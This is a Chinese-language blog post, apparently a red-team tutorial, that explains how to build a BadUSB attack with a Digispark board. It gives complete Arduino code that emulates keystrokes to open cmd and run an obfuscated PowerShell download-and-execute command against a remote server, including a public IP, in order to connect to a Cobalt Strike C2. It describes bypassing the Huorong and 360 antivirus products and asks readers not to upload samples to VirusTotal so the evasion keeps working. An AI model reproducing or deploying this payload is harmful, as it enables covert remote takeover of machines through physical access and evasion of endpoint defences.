近源渗透—插U盘即可上线 | 攻防演练

admin 2023年5月24日08:52:22评论36 views字数 4589阅读15分17秒阅读模式

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

近源渗透—插U盘即可上线 | 攻防演练

0x01 前言

攻防演练的时候有查U盘就能上线靶标电脑的操作(近源渗透),这种攻击手法虽然看着猥琐,但是是简单粗暴。今天团队的师傅写了一篇文章讲解这个攻击手法的原理,欢迎师傅们点赞分享。

0x02 准备阶段

1、购买BadUsb,我购买的是Digispark。

近源渗透—插U盘即可上线 | 攻防演练

2、安装Arduino IDE
3、配置Arduino IDE ,添加开发板,安装驱动。
参考链接:https://www.jianshu.com/p/b33d61fc2678
4、掌握Digispark编程语法。(语法较简单,可以边查边写)
至此,BadUsb和开发环境均已配置完毕,可以开始编写代码。

0x03 编写代码

编写代码前,我们首先要了解BadUsb的大致原理,本质上就是插入电脑后可以模拟键盘输入,既然是模拟键盘输入,我们可以先写出一个大致的代码框架。
#include "DigiKeyboard.h"#define MOD_SHIFT_LEFT      (1<<1)#define MOD_CONTROL_LEFT    (1<<0)#define KEY_ENTER   40#define KEY_CAPS_LOCK 0x39
void setup() {DigiKeyboard.delay(2000);DigiKeyboard.sendKeyStroke(0);DigiKeyboard.delay(2000);DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+rDigiKeyboard.delay(500);DigiKeyboard.print(F("cmd")); //输入cmdDigiKeyboard.delay(500);DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车DigiKeyboard.delay(500);//后面输入恶意代码}
void loop() {}

这段代码先声明了一些键盘按键代表的字符,然后通过键盘唤起CMD。其中插入BadUsb后间隔2秒开始执行程序,每次输入字符后都间隔0.5s。

代码框架编写完成后,就可以开始构造我们的免杀恶意代码了。

要想通过键盘输入上线的我们的C2服务器,有2种思路。通过powershell命令上线 或 通过命令行文件下载恶意文件上线。

1、文件下载上线

考虑到免杀问题,certutil这些常见的命令几乎被所有杀软拦截,网上公开的绕过方法(例如双写certutil)可以绕过火绒,但360无法绕过。

文件成功下载后,恶意文件的免杀也具有一定局限性,所以如果考虑免杀,那么通过文件下载这种模式来实现BadUsb上线存在很大难度。


2、powershell命令上线

powershell上线也分两种方式

(1)通过ps1文件上线

近源渗透—插U盘即可上线 | 攻防演练

ps1文件免杀效果好,Github有很多针对ps1文件的免杀项目,可以轻松绕过国内主流杀软。

近源渗透—插U盘即可上线 | 攻防演练

但ps1文件庞大的代码量又带来了一个问题,在我们编写完成代码框架后,使用Arduino IDE进行编译,提示“当前已使用了45%的存储空间”,而如果我们将ps1文件中的全部代码编译,则会存在闪存空间不足的问题。

近源渗透—插U盘即可上线 | 攻防演练

近源渗透—插U盘即可上线 | 攻防演练

有2种办法解决这个问题,使用钞能力购买闪存更大的开发板,或精简我们的ps1文件内容。至此通过ps1文件上线这个思路也在这里断了。

 (2)通过web服务上线

近源渗透—插U盘即可上线 | 攻防演练

通过这种方法生成的payload较为精简,不存在闪存不足的问题,只需要针对性的做一下免杀即可。


这里给出我免杀的方法,设置别名+^字符间隔+加号拼接字符串。

cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.1.1'+'/a') | p^o^w^e^r^s^h^e^l^l -

这里没有添加后台运行powershell的参数,因为hidden参数会影响免杀效果,这样的运行方式实测可以绕过火绒和360。


那么代码就算是初步完成了,如下。

#include "DigiKeyboard.h"#define MOD_SHIFT_LEFT      (1<<1)#define MOD_CONTROL_LEFT    (1<<0)#define KEY_ENTER   40#define KEY_CAPS_LOCK 0x39
void setup() {DigiKeyboard.delay(2000);DigiKeyboard.sendKeyStroke(0);DigiKeyboard.delay(2000);DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+rDigiKeyboard.delay(500);
// powershell上线 免杀火绒360 窗口不隐藏 需要点鼠标杀软放行DigiKeyboard.print(F("cmd")); //输入cmdDigiKeyboard.delay(500);DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车DigiKeyboard.delay(500);DigiKeyboard.print(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.1.1'+'/a') | p^o^w^e^r^s^h^e^l^l -")); //POWERSHELL上线DigiKeyboard.delay(500);DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车}
void loop() {}

0x04 代码优化

将写好的代码编译并烧录进BadUsb后,其实效果并没有那么理想,有如下几个问题:

1、部分电脑存在默认中文输入法,在模拟键盘输入的过程中会存在中文输入,未达到预期输入的内容


解决方案:开始模拟键盘输入前锁定大小写,相应的我们的免杀代码也要做出对应的大小写修改。

DigiKeyboard.sendKeyStroke(KEY_CAPS_LOCK); //锁定大小写,防止默认中文输入法
DigiKeyboard.print(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.1.1'+'/A’) | p^o^w^e^r^s^h^e^l^l -")); //POWERSHELL上线 路径大小写都要有a A

2、powershell运行完毕后,桌面留下一个黑框非常显眼。

解决方案:模拟键盘输入wind+d返回桌面隐藏cmd黑框,上线cs后立即迁移进程即可。


最终优化后的代码如下

#include "DigiKeyboard.h"#define MOD_SHIFT_LEFT      (1<<1)#define MOD_CONTROL_LEFT    (1<<0)#define KEY_ENTER   40#define KEY_CAPS_LOCK 0x39
void setup() {DigiKeyboard.delay(2000);DigiKeyboard.sendKeyStroke(0);DigiKeyboard.delay(2000);DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+rDigiKeyboard.delay(500);DigiKeyboard.sendKeyStroke(KEY_CAPS_LOCK); //锁定大小写,防止默认中文输入法DigiKeyboard.delay(500);
// powershell上线 免杀火绒360 窗口不隐藏 需要点鼠标杀软放行DigiKeyboard.print(F("cmd")); //输入cmdDigiKeyboard.delay(500);DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车DigiKeyboard.delay(500);DigiKeyboard.print(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://4'+'3.138.111.78'+'/A') | p^o^w^e^r^s^h^e^l^l -")); //POWERSHELL上线 路径大小写都要有a ADigiKeyboard.delay(500);DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车DigiKeyboard.delay(500);DigiKeyboard.sendKeyStroke(KEY_D,MOD_GUI_LEFT); //win+d}
void loop() {}
至此,实现了免杀火绒360 BadUsb即插即上线CS。

0x05 结语链接获取

这篇文章是在我能力范围之内想出的BadUsb免杀上线的思路,希望能给各位师傅提供思路,如果师傅有更为新颖高效的思路也欢迎交流。


同时免杀不易,请珍惜当前可用的免杀方式,不要放在微步、VT等平台检测免杀效果。

参考链接:

https://www.jianshu.com/p/b33d61fc2678https://lzy-wi.github.io/2018IAMHUAPIDAN!/06/12/badusb/https://www.cnblogs.com/binglicheng/p/11615535.htmlhttps://blog.csdn.net/qq_34341458/article/details/123368269https://blog.csdn.net/weixin_52444045/article/details/126432290





付费圈子


欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

近源渗透—插U盘即可上线 | 攻防演练

进成员内部群


近源渗透—插U盘即可上线 | 攻防演练



近源渗透—插U盘即可上线 | 攻防演练

星球的最近主题和星球内部工具一些展示


近源渗透—插U盘即可上线 | 攻防演练


近源渗透—插U盘即可上线 | 攻防演练

近源渗透—插U盘即可上线 | 攻防演练

近源渗透—插U盘即可上线 | 攻防演练

近源渗透—插U盘即可上线 | 攻防演练

近源渗透—插U盘即可上线 | 攻防演练

近源渗透—插U盘即可上线 | 攻防演练

近源渗透—插U盘即可上线 | 攻防演练

近源渗透—插U盘即可上线 | 攻防演练

近源渗透—插U盘即可上线 | 攻防演练


近源渗透—插U盘即可上线 | 攻防演练

加入安全交流群


近源渗透—插U盘即可上线 | 攻防演练                                


关 注 有 礼



关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

近源渗透—插U盘即可上线 | 攻防演练 还在等什么?赶紧点击下方名片关注学习吧!近源渗透—插U盘即可上线 | 攻防演练


近源渗透—插U盘即可上线 | 攻防演练




干货|史上最全一句话木马


干货 | CS绕过vultr特征检测修改算法


实战 | 用中国人写的红队服务器搞一次内网穿透练习


实战 | 渗透某培训平台经历


实战 | 一次曲折的钓鱼溯源反制


免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(渗透安全团队):近源渗透—插U盘即可上线 | 攻防演练

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月24日08:52:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   近源渗透—插U盘即可上线 | 攻防演练http://cn-sec.com/archives/1755784.html

发表评论

匿名网友 填写信息